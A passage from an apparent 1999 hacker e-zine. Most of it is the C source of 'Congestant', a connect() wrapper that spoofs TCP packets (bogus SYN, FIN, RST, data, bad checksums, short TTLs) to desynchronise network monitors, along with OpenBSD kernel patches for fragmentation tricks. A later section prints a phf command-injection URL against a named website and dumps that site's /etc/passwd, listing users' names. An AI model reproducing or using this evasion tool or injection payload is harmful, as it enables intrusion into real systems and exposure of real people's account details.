{
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_checksum;
unsigned short icmp_id;
unsigned short icmp_seq;
unsigned long icmp_timestamp;
};
struct cong_tcp_header
{
unsigned short th_sport; /* source port */
unsigned short th_dport; /* destination port */
unsigned int th_seq; /* sequence number */
unsigned int th_ack; /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
unsigned char th_x2:4, /* (unused) */
th_off:4; /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
unsigned char th_off:4, /* data offset */
th_x2:4; /* (unused) */
#endif
unsigned char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
unsigned short th_win; /* window */
unsigned short th_sum; /* checksum */
unsigned short th_urp; /* urgent pointer */
};
struct cong_pseudo_header
{
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
};
int cong_checksum(unsigned short* data, int length)
{
register int nleft=length;
register unsigned short *w = data;
register int sum=0;
unsigned short answer=0;
while (nleft>1)
{
sum+=*w++;
nleft-=2;
}
if (nleft==1)
{
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16) + (sum & 0xffff);
sum +=(sum>>16);
answer=~sum;
return answer;
}
#define PHLEN (sizeof (struct cong_pseudo_header))
#define IHLEN (sizeof (struct cong_ip_header))
#define ICMPLEN (sizeof (struct cong_icmp_header))
#define THLEN (sizeof (struct cong_tcp_header))
/* Utility routine for the ttl attack. Sends an icmp echo */
void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
{
struct sockaddr_in sa;
int sock,packet_len;
char *pkt;
struct cong_ip_header *ip;
struct cong_icmp_header *icmp;
int on=1;
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(1);
}
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
{
perror("setsockopt: IP_HDRINCL");
exit(1);
}
bzero(&sa,sizeof(struct sockaddr_in));
sa.sin_addr.s_addr = dest;
sa.sin_family = AF_INET;
pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN));
ip=(struct cong_ip_header *)pkt;
icmp=(struct cong_icmp_header *)(pkt+IHLEN);
ip->ip_v = 4;
ip->ip_hl = IHLEN >>2;
ip->ip_tos = 0;
ip->ip_len = htons(IHLEN+ICMPLEN);
ip->ip_id = htons(getpid() & 0xFFFF);
ip->ip_off = 0;
ip->ip_ttl = ttl;
ip->ip_p = IPPROTO_ICMP ;//ICMP
ip->ip_sum = 0;
ip->ip_src = source;
ip->ip_dst = dest;
icmp->icmp_type=8;
icmp->icmp_seq=htons(seq);
icmp->icmp_id=htons(id);
icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);
if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
}
free(pkt);
close(sock);
}
/* Our main worker routine. sends a TCP packet */
void cong_send_tcp(long source, long dest,short int sport, short int dport,
long seq, long ack, int flags, char *data, int dlen,
int cksum, int ttl)
{
struct sockaddr_in sa;
int sock,packet_len;
char *pkt,*phtcp;
struct cong_pseudo_header *ph;
struct cong_ip_header *ip;
struct cong_tcp_header *tcp;
int on=1;
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(1);
}
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
{
perror("setsockopt: IP_HDRINCL");
exit(1);
}
bzero(&sa,sizeof(struct sockaddr_in));
sa.sin_addr.s_addr = dest;
sa.sin_family = AF_INET;
sa.sin_port = dport;
phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));
ph=(struct cong_pseudo_header *)phtcp;
tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN);
ip=(struct cong_ip_header *)pkt;
ph->saddr=source;
ph->daddr=dest;
ph->mbz=0;
ph->ptcl=IPPROTO_TCP;
ph->tcpl=htons(THLEN + dlen);
tcp->th_sport=sport;
tcp->th_dport=dport;
tcp->th_seq=seq;
tcp->th_ack=ack;
tcp->th_off=THLEN/4;
tcp->th_flags=flags;
if (ack) tcp->th_flags|=TH_ACK;
tcp->th_win=htons(16384);
memcpy(&(phtcp[PHLEN+THLEN]),data,dlen);
tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;
ip->ip_v = 4;
ip->ip_hl = IHLEN >>2;
ip->ip_tos = 0;
ip->ip_len = htons(IHLEN+THLEN+dlen);
ip->ip_id = htons(getpid() & 0xFFFF);
ip->ip_off = 0;
ip->ip_ttl = ttl;
ip->ip_p = IPPROTO_TCP ;//TCP
ip->ip_sum = 0;
ip->ip_src = source;
ip->ip_dst = dest;
ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN);
memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen);
if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
}
free(phtcp);
free(pkt);
close(sock);
}
/* Utility routine for data insertion attacks */
void cong_send_data(long source, long dest,short int sport, short int dport,
long seq, long ack, int chk, int ttl)
{
char data[1024];
int i,j;
for (i=0;i<8;i++)
{
for (j=0;j<1024;data[j++]=random());
cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024),
htonl(ack), TH_PUSH, data, 1024, chk, ttl);
}
}
/* Utility routine for the ttl attack - potentially unreliable */
/* This could be rewritten to look for the icmp ttl exceeded and count
* the number of packets it receives, thus going much quicker. */
int cong_find_ttl(long source, long dest)
{
int sock;
long timestamp;
struct timeval tv,tvwait;
int ttl=0,result=255;
char buffer[8192];
int bread;
fd_set fds;
struct cong_ip_header *ip;
struct cong_icmp_header *icmp;
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
{
perror("socket");
exit(1);
}
tvwait.tv_sec=0;
tvwait.tv_usec=500;
gettimeofday(&tv,NULL);
timestamp=tv.tv_sec+3; // 3 second timeout
DEBUG("Determining ttl...");
while(tv.tv_sec<=timestamp)
{
gettimeofday(&tv,NULL);
if (ttl<50)
{
cong_send_icmp(source,dest,ttl,1,ttl);
cong_send_icmp(source,dest,ttl,1,ttl);
cong_send_icmp(source,dest,ttl,1,ttl++);
}
FD_ZERO(&fds);
FD_SET(sock,&fds);
select(sock+1,&fds,NULL,NULL,&tvwait);
if (FD_ISSET(sock,&fds))
{
if (bread=read(sock,buffer,sizeof(buffer)))
{
/* should we practice what we preach?
nah... too much effort :p */
ip=(struct cong_ip_header *)buffer;
if (ip->ip_src!=dest)
continue;
icmp=(struct cong_icmp_header *)(buffer +
((ip->ip_hl)<<2));
if (icmp->icmp_type!=0)
continue;
if (ntohs(icmp->icmp_seq)icmp_seq);
}
}
}
if (cong_debug)
fprintf(stderr,"%d\n",result);
close(sock);
return result;
}
/* This is our init routine - reads conf env var*/
/* On the glibc box I tested, you cant dlopen from within
* _init, so there is a little hack here */
#if __GLIBC__ == 2
int cong_start(void)
#else
int _init(void)
#endif
{
void *handle;
char *conf;
#ifndef __OpenBSD__
handle=dlopen(LIB_PATH,1);
if (!handle)
{
fprintf(stderr,"Congestant Error: Can't load libc.\n");
return 0;
}
#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
cong_connect = dlsym(handle, "connect");
#else
cong_connect = dlsym(handle, "_connect");
#endif
if (!cong_connect)
{
fprintf(stderr,"Congestant Error: Can't find connect().\n");
return -1;
}
#endif /* not openbsd */
memset(&cong_config,0,sizeof(struct cong_config));
if (conf=getenv("CONGCONF"))
{
char *token;
token=strtok(conf,",");
while (token)
{
if (!strcmp(token,"OH"))
cong_config.one_host_attack=1;
else if (!strcmp(token,"FS"))
cong_config.fin_seq=1;
else if (!strcmp(token,"RS"))
cong_config.rst_seq=1;
else if (!strcmp(token,"SS"))
cong_config.syn_seq=1;
else if (!strcmp(token,"DS"))
cong_config.data_seq=1;
else if (!strcmp(token,"FC"))
cong_config.fin_chk=1;
else if (!strcmp(token,"RC"))
cong_config.rst_chk=1;
else if (!strcmp(token,"SC"))
cong_config.syn_chk=1;
else if (!strcmp(token,"DC"))
cong_config.data_chk=1;
else if (!strcmp(token,"FT"))
{
cong_config.fin_ttl=1;
cong_config.ttl=1;
}
else if (!strcmp(token,"RT"))
{
cong_config.rst_ttl=1;
cong_config.ttl=1;
}
else if (!strcmp(token,"DT"))
{
cong_config.data_ttl=1;
cong_config.ttl=1;
}
else if (!strcmp(token,"DEBUG"))
cong_debug=1;
token=strtok(NULL,",");
}
}
else /* default to full sneakiness */
{
cong_config.one_host_attack=1;
cong_config.fin_seq=1;
cong_config.rst_seq=1;
cong_config.syn_seq=1;
cong_config.data_seq=1;
cong_config.syn_chk=1;
cong_debug=1;
/* assume they have kernel support */
/* attacks are only compiled in under obsd*/
cong_config.data_chk=1;
cong_config.fin_chk=1;
cong_config.rst_chk=1;
cong_config.data_ttl=1;
cong_config.fin_ttl=1;
cong_config.rst_ttl=1;
cong_config.ttl=1;
}
cong_init=1;
}
/* This is our definition of connect */
#if (__svr4__ && __sun__)
int connect (int __fd, struct sockaddr * __addr, int __len)
#else
#if __GLIBC__ == 2
int connect __P ((int __fd,
__CONST_SOCKADDR_ARG __addr, socklen_t __len))
#else
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
#endif
#endif
{
int result,nl;
struct sockaddr_in sa;
long from,to;
short src,dest;
unsigned long fakeseq=424242;
int type=SOCK_STREAM;
unsigned long realseq=0;
unsigned long recvseq=0;
int ttl=255,ttlseq;
#if __GLIBC__ == 2
if (cong_init==0)
cong_start();
#endif
if (cong_init++==1)
fprintf(stderr,"Congestant v1 by horizon loaded.\n");
/* quick hack so we dont waste time with udp connects */
#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
syscall(242,__fd,&type,&realseq,&recvseq);
#endif /* openbsd */
if (type!=SOCK_STREAM)
{
result=syscall(SYS_connect,__fd,__addr,__len);
return result;
}
#endif /* kernel support */
nl=sizeof(sa);
getsockname(__fd,(struct sockaddr *)&sa,&nl);
from=sa.sin_addr.s_addr;
src=sa.sin_port;
#if __GLIBC__ == 2
to=__addr.__sockaddr_in__->sin_addr.s_addr;
dest=__addr.__sockaddr_in__->sin_port;
#else
to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
dest=((struct sockaddr_in *)__addr)->sin_port;
#endif
if (cong_config.one_host_attack)
{
cong_send_tcp(inet_addr(FAKEHOST),
to, 4242, dest, 0, 0,
TH_SYN, NULL, 0, 0, 254);
DEBUG("Spoofed Fake SYN Packet\n");
}
if (cong_config.syn_chk)
{
/* This is a potential problem that could mess up
* client programs. If necessary, we bind the socket
* so that we can know what the source port will be
* prior to the connection.
*/
if (src==0)
{
bind(__fd,(struct sockaddr *)&sa,nl);
getsockname(__fd,(struct sockaddr *)&sa,&nl);
from=sa.sin_addr.s_addr;
src=sa.sin_port;
}
cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
TH_SYN, NULL, 0,100, 254);
DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
fakeseq++;
}
DEBUG("Connection commencing...\n");
#ifndef __OpenBSD__
result=cong_connect(__fd,__addr,__len);
#else /* not openbsd */
result=syscall(SYS_connect,__fd,__addr,__len);
#endif
if (result==-1)
{
if (errno!=EINPROGRESS)
return -1;
/* Let's only print the warning once */
if (cong_init++==2)
fprintf(stderr,"Warning: Non-blocking connects might not work right.\n");
}
/* In case an ephemeral port was assigned by connect */
nl=sizeof(sa);
getsockname(__fd,(struct sockaddr *)&sa,&nl);
from=sa.sin_addr.s_addr;
src=sa.sin_port;
if (cong_config.syn_seq)
{
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_SYN, NULL, 0, 0, 254);
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_SYN, NULL, 0, 0, 254);
DEBUG("Sent Desynchronizing SYNs.\n");
}
if (cong_config.data_seq)
{
cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
fakeseq+=8*1024;
}
if (cong_config.fin_seq)
{
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_FIN, NULL, 0, 0, 254);
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_FIN, NULL, 0, 0, 254);
DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
}
if (cong_config.rst_seq)
{
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_RST, NULL, 0, 0, 254);
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_RST, NULL, 0, 0, 254);
DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
}
#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
if (cong_config.ttl==1)
if (cong_ttl_cache!=to)
{
ttl=cong_find_ttl(from,to)-1;
cong_ttl_cache=to;
cong_ttl=ttl;
}
else
ttl=cong_ttl;
if (ttl<0)
{
fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n");
cong_config.data_ttl=0;
cong_config.fin_ttl=0;
cong_config.rst_ttl=0;
ttl=0;
}
syscall(242,__fd,&type,&realseq,&recvseq);
ttlseq=realseq;
#endif /*openbsd */
if (cong_config.data_ttl)
{
cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
DEBUG("Inserted 8K of data with short ttl.\n");
ttlseq+=1024*8;
}
if (cong_config.fin_ttl)
{
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
DEBUG("Spoofed FINs with short ttl.\n");
}
if (cong_config.rst_ttl)
{
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
DEBUG("Spoofed RSTs with short ttl.\n");
}
if (cong_config.data_chk)
{
cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
realseq+=1024*8;
}
if (cong_config.fin_chk)
{
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
}
if (cong_config.rst_chk)
{
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_RST, NULL, 0, 100, 254);
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_RST, NULL, 0, 100, 254);
DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
}
#endif /* kernel support */
return result;
}
<-->
<++> congestant/netinet.patch
Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
--- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998
+++ netinet/in.h Tue Dec 8 10:48:33 1998
@@ -325,7 +325,10 @@
#define IPCTL_IPPORT_LASTAUTO 8
#define IPCTL_IPPORT_HIFIRSTAUTO 9
#define IPCTL_IPPORT_HILASTAUTO 10
-#define IPCTL_MAXID 11
+#define IPCTL_FRAG_HACK_HEAD 11
+#define IPCTL_FRAG_HACK_BODY 12
+#define IPCTL_OPTIONS_HACK 13
+#define IPCTL_MAXID 14
#define IPCTL_NAMES { \
{ 0, 0 }, \
@@ -339,6 +342,9 @@
{ "portlast", CTLTYPE_INT }, \
{ "porthifirst", CTLTYPE_INT }, \
{ "porthilast", CTLTYPE_INT }, \
+ { "fraghackhead", CTLTYPE_INT }, \
+ { "fraghackbody", CTLTYPE_INT }, \
+ { "optionshack", CTLTYPE_INT }, \
}
#ifndef _KERNEL
diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c
--- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998
+++ netinet/ip_input.c Tue Dec 8 10:48:33 1998
@@ -106,6 +106,10 @@
extern int ipport_hilastauto;
extern struct baddynamicports baddynamicports;
+extern int ip_fraghackhead;
+extern int ip_fraghackbody;
+extern int ip_optionshack;
+
extern struct domain inetdomain;
extern struct protosw inetsw[];
u_char ip_protox[IPPROTO_MAX];
@@ -1314,6 +1318,15 @@
case IPCTL_IPPORT_HILASTAUTO:
return (sysctl_int(oldp, oldlenp, newp, newlen,
&ipport_hilastauto));
+ case IPCTL_FRAG_HACK_HEAD:
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
+ &ip_fraghackhead));
+ case IPCTL_FRAG_HACK_BODY:
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
+ &ip_fraghackbody));
+ case IPCTL_OPTIONS_HACK:
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
+ &ip_optionshack));
default:
return (EOPNOTSUPP);
}
diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c
--- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998
+++ netinet/ip_output.c Tue Dec 8 11:00:14 1998
@@ -88,6 +88,10 @@
extern int ipsec_esp_network_default_level;
#endif
+int ip_fraghackhead=0;
+int ip_fraghackbody=0;
+int ip_optionshack=0;
+
/*
* IP output. The packet in mbuf chain m contains a skeletal IP
* header (with len, off, ttl, proto, tos, src, dst).
@@ -124,6 +128,9 @@
struct inpcb *inp;
#endif
+ /* HACK */
+ int fakeheadmtu;
+
va_start(ap, m0);
opt = va_arg(ap, struct mbuf *);
ro = va_arg(ap, struct route *);
@@ -144,7 +151,50 @@
m = ip_insertoptions(m, opt, &len);
hlen = len;
}
+ /* HACK */
+ else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+ {
+ struct mbuf *n=NULL;
+ register struct ip* ip= mtod(m, struct ip*);
+
+ if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat)
+ {
+ MGETHDR(n, M_DONTWAIT, MT_HEADER);
+ if (n)
+ {
+ n->m_pkthdr.len = m->m_pkthdr.len + 40;
+ m->m_len -= sizeof(struct ip);
+ m->m_data += sizeof(struct ip);
+ n->m_next = m;
+ m = n;
+ m->m_len = 40 + sizeof(struct ip);
+ m->m_data += max_linkhdr;
+ bcopy((caddr_t)ip, mtod(m, caddr_t),
+ sizeof(struct ip));
+ }
+ }
+ else
+ {
+ m->m_data -= 40;
+ m->m_len += 40;
+ m->m_pkthdr.len += 40;
+ ovbcopy((caddr_t)ip, mtod(m, caddr_t),
+ sizeof(struct ip));
+ n++; /* make n!=0 */
+ }
+ if (n!=0)
+ {
+ ip = mtod(m, struct ip *);
+ memset((caddr_t)(ip+1),0,40);
+ ip->ip_len += 40;
+
+ hlen=60;
+ len=60;
+ }
+ }
+
ip = mtod(m, struct ip *);
+
/*
* Fill in IP header.
*/
@@ -721,7 +771,15 @@
/*
* If small enough for interface, can just send directly.
*/
- if ((u_int16_t)ip->ip_len <= ifp->if_mtu) {
+
+ /* HACK */
+
+ fakeheadmtu=ifp->if_mtu;
+
+ if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+ fakeheadmtu=ip_fraghackhead;
+
+ if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) {
ip->ip_len = htons((u_int16_t)ip->ip_len);
ip->ip_off = htons((u_int16_t)ip->ip_off);
ip->ip_sum = 0;
@@ -738,7 +796,10 @@
ipstat.ips_cantfrag++;
goto bad;
}
- len = (ifp->if_mtu - hlen) &~ 7;
+
+/* HACK */
+
+ len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7;
if (len < 8) {
error = EMSGSIZE;
goto bad;
@@ -748,6 +809,9 @@
int mhlen, firstlen = len;
struct mbuf **mnext = &m->m_nextpkt;
+ /*HACK*/
+ int first=0;
+
/*
* Loop through length of segment after first fragment,
* make new header and copy data of each part and link onto chain.
@@ -755,7 +819,9 @@
m0 = m;
mhlen = sizeof (struct ip);
for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) {
- MGETHDR(m, M_DONTWAIT, MT_HEADER);
+ if (first && ip_fraghackbody)
+ len=(ip_fraghackbody-hlen) &~7;
+ MGETHDR(m, M_DONTWAIT, MT_HEADER);
if (m == 0) {
error = ENOBUFS;
ipstat.ips_odropped++;
@@ -791,6 +857,7 @@
mhip->ip_sum = 0;
mhip->ip_sum = in_cksum(m, mhlen);
ipstat.ips_ofragments++;
+ first=1;
}
/*
* Update first fragment by trimming what's been copied out
Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite
diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c
--- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998
+++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998
@@ -465,3 +465,18 @@
if (tp)
tp->snd_cwnd = tp->t_maxseg;
}
+
+/* HACK - This is a tcp subroutine added to grab the sequence numbers */
+
+void tcp_getseq(struct socket *so, struct mbuf *m)
+{
+ struct inpcb *inp;
+ struct tcpcb *tp;
+
+ if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp)))
+ {
+ m->m_len=sizeof(unsigned long)*2;
+ *(mtod(m,unsigned long *))=tp->snd_nxt;
+ *((mtod(m,unsigned long *))+1)=tp->rcv_nxt;
+ }
+}
diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c
--- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998
+++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998
@@ -363,6 +363,10 @@
in_setsockaddr(inp, nam);
break;
+ case PRU_SOCKINFO:
+ tcp_getseq(so,m);
+ break;
+
case PRU_PEERADDR:
in_setpeeraddr(inp, nam);
break;
diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h
--- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998
+++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998
@@ -291,6 +291,8 @@
void tcp_pulloutofband __P((struct socket *,
struct tcpiphdr *, struct mbuf *));
void tcp_quench __P((struct inpcb *, int));
+/*HACK*/
+void tcp_getseq __P((struct socket *, struct mbuf *));
int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *));
void tcp_respond __P((struct tcpcb *,
struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int));
<-->
<++> congestant/kern.patch
--- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998
+++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998
@@ -924,6 +924,53 @@
}
/*
+ * Get socket information. HACK
+ */
+
+/* ARGSUSED */
+int
+sys_getsockinfo(p, v, retval)
+ struct proc *p;
+ void *v;
+ register_t *retval;
+{
+ register struct sys_getsockinfo_args /* {
+ syscallarg(int) fdes;
+ syscallarg(int *) type;
+ syscallarg(int *) seq;
+ syscallarg(int *) ack;
+ } */ *uap = v;
+ struct file *fp;
+ register struct socket *so;
+ struct mbuf *m;
+ int error;
+
+ if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0)
+ return (error);
+
+ so = (struct socket *)fp->f_data;
+
+ error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short));
+
+ if (!error && (so->so_type==SOCK_STREAM))
+ {
+ m = m_getclr(M_WAIT, MT_DATA);
+ if (m == NULL)
+ return (ENOBUFS);
+
+ error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0);
+
+ if (!error)
+ error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long));
+ if (!error)
+ error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long));
+ m_freem(m);
+ }
+
+ return error;
+}
+
+/*
* Get name of peer for connected socket.
*/
/* ARGSUSED */
--- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998
+++ kern/syscalls.master Thu Dec 3 11:14:44 1998
@@ -476,7 +476,8 @@
240 STD { int sys_nanosleep(const struct timespec *rqtp, \
struct timespec *rmtp); }
241 UNIMPL
-242 UNIMPL
+242 STD { int sys_getsockinfo(int fdes, int *type, \
+ int *seq, int *ack); }
243 UNIMPL
244 UNIMPL
245 UNIMPL
<-->
<++> congestant/sys.patch
--- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998
+++ sys/protosw.h Thu Dec 3 11:16:41 1998
@@ -148,8 +148,8 @@
#define PRU_SLOWTIMO 19 /* 500ms timeout */
#define PRU_PROTORCV 20 /* receive from below */
#define PRU_PROTOSEND 21 /* send to below */
-
-#define PRU_NREQ 21
+#define PRU_SOCKINFO 22
+#define PRU_NREQ 22
#ifdef PRUREQUESTS
char *prurequests[] = {
@@ -158,7 +158,7 @@
"RCVD", "SEND", "ABORT", "CONTROL",
"SENSE", "RCVOOB", "SENDOOB", "SOCKADDR",
"PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO",
- "PROTORCV", "PROTOSEND",
+ "PROTORCV", "PROTOSEND", "SOCKINFO",
};
#endif
<-->
----[ EOF
@HWA
From: Dragos Ruiu <dr@v-wave.com>
To: <cruciphux@dok.org>
Sent: Wednesday, October 06, 1999 5:39 AM
Subject: puzzlecrypt(tm--dr) (hint:sploit against dr)
challengeracequery:whatisbelow-goal?{retfmt:puzzlecrypt/rfc822}+bonus4exe+gu
essok.
z()=print(exefor(i->len)cat(tx([ipaddr:43],"\b*10^3""|bufoverseqntregretkeyf
indrexp(HK*.imail*.\dr)[i]-(lsb(i)?1'r':0'd')|&0x7f"))).
yellforhint(dr)=if(loop(1)).
===
--dr
kyx.net - we're from the future - home of Kanga-Foo!
==============================================================================
02.0 From the editor.
~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <thoughts.h>
#include <backup.h>
main()
{
printf ("Read commented source!\n\n");
/* I messed up, our birthday is NEXT month not Oct 13th but Nov 13th, my bad
* blame the dr00gz... so we'll do something special then ok? ok. <sic>
*
* There's lots going on around the underground, unfortunately I can't
* talk about a lot of it for legal reasons... anyway here we are with
* another issue of HWA for your perusal, enjoy this week's issue.
*
*
* Cruciphux
*/
printf ("EoF.\n");
}
Congrats, thanks, articles, news submissions and kudos to us at the
main address: hwa@press.usmc.net complaints and all nastygrams and
mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
127.0.0.1, private mail to cruciphux@dok.org
danke.
C*:.
03.0 PHF revisited
~~~~~~~~~~~~~
As printed in last weeks issue as part of another article it was mentioned
that the phf bug is one way into a system with lax security, and yes there
are still sites out there that are vulnerable to this flaw.
This was inspired by watching someone join #hack from www.monicalewinsky.com
which got me to wondering how they happened to come from that address
assuming they didn't have legit access to the box.
http://www.monicalewinsky.com/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd
Query Results
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:*:0:0:System Administrator:/root:/bin/bash
daemon:*:1:1:System Daemon:/:/sbin/nologin
sys:*:2:2:Operating System:/tmp:nologin
bin:*:3:7:BSDI Software:/usr/bsdi:nologin
operator:*:5:5:System Operator:/usr/opr:nologin
uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico
games:*:7:13:Games Pseudo-user:/usr/games:nologin
news:*:9:8:USENET News,,,:/var/news/etc:nologin
demo:*:10:13:Demo User:/usr/demo:nologin
ftp:*:50:32766:Anonymous FTP,,,:/var/spool/ftp:/dev/null
www:*:51:84:WWW-server:/var/www:nologin
radius:*:52:52:Radius Server:/etc/raddb:/sbin/nologin
nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin
superuser:*:129:100:superuser,,,:/tmp:nologin
hamlin:*:100:0:Griff Hamlin,,,:/users/hamlin:/bin/bash
heredia:*:101:0:Al,,,:/users/heredia:/bin/bash
ger:*:102:0:Ger Thrond,,,:/users/ger:/bin/ksh
siteleader:*:102:100:Al,,,:/users/siteleader:/bin/bash
1stdomain:*:798:100:1stdomainname:/users/1stdomain:/bin/bash
aaikuta:*:998:100:A O Aikuta:/users/aaikuta:/bin/bash
abossig:*:851:100:Alice R Bossig:/users/abossig:/bin/bash
abrightman:*:356:100:Alan Brightman:/users/abrightman:/bin/bash
achinapa:*:1033:100:Ajeeth Chinapa:/users/achinapa:/bin/bash
acochois:*:562:100:ANDRE COCHOIS:/users/acochois:/bin/bash
adomingo:*:1191:100:young:/users/adomingo:/bin/bash
afeuz:*:775:100:Andreas Feuz:/users/afeuz:/bin/bash
agilby:*:820:100:ADRIAN J GILBY:/users/agilby:/bin/bash
agrudko:*:907:100:A.P.A. GRUDKO:/users/agrudko:/bin/bash
aholder:*:951:100:Albert Holder:/users/aholder:/bin/bash
aimregh:*:637:100:Agnes E. Imregh:/users/aimregh:/bin/bash
alattanner:*:581:100:Alan V. Lattanner:/users/alattanner:/bin/bash
